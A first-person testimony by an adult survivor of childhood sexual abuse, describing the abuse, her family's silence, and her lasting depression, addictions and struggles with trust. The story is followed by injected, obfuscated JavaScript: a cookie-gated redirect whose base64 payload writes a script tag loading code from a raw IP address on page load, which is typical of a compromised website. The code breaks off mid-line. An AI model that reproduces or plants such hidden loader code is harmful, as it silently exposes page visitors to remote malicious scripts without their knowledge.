151 – Karen H.

My name is Karen and I was sexually abused by a babysitter when I was 10 years old. After I initially told my family, the abuser confessed and was convicted, but I was told to move on and never speak of it again. I was told therapy was not an option for financial reasons and also because my family did not believe in psychology. The memories from my childhood are sketchy, but I moved on and put it out of my mind while telling myself that it wasn’t a big deal and it wasn’t as bad as some kids. My abuser received a lot of help and is rehabilitated today. He has a family, a great job, and is well respected in the community. I’m 36 now, and I struggle on a daily basis. I have a wonderful husband who loves and supports me through everything, but I don’t have close friends and I struggle daily on my job, and don’t trust anyone. I’ve been in and out of counseling 4 times in the last 10 years and I’ve read numerous books and earned a B.S. in Psychology to try and heal my pain. My last attempt at counseling lasted 2 years and was the most successful. It was the first time I had really talked about my abuse and it became clear to me that all the struggling with relationships, jobs, family, etc. was because of the repressed memories I had been holding onto for many years. I struggle with addictions to food and sex and have never been able to find the one passion in my life that makes me happy. Today I feel lost and alone and just struggle to survive and get out of bed. Depression is a constant presence in my life and I cycle every few months from high to low. Although the extremes are less since I last had therapy, the relationship issues are still a huge part of my life and I struggle to open up and let love in. I pray every day that the people who are unaffected by sexual abuse will finally understand our pain and empathize with us. I pray that this world will finally accept and understand that we will never fully get over our pain, but that we can heal and live productive lives with their help. I feel numb all the time and just wish for someone to break through and hold me tight. I’ve resigned myself to a life of confusion, depression, and uncertainty because it’s too painful to believe in good anymore. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘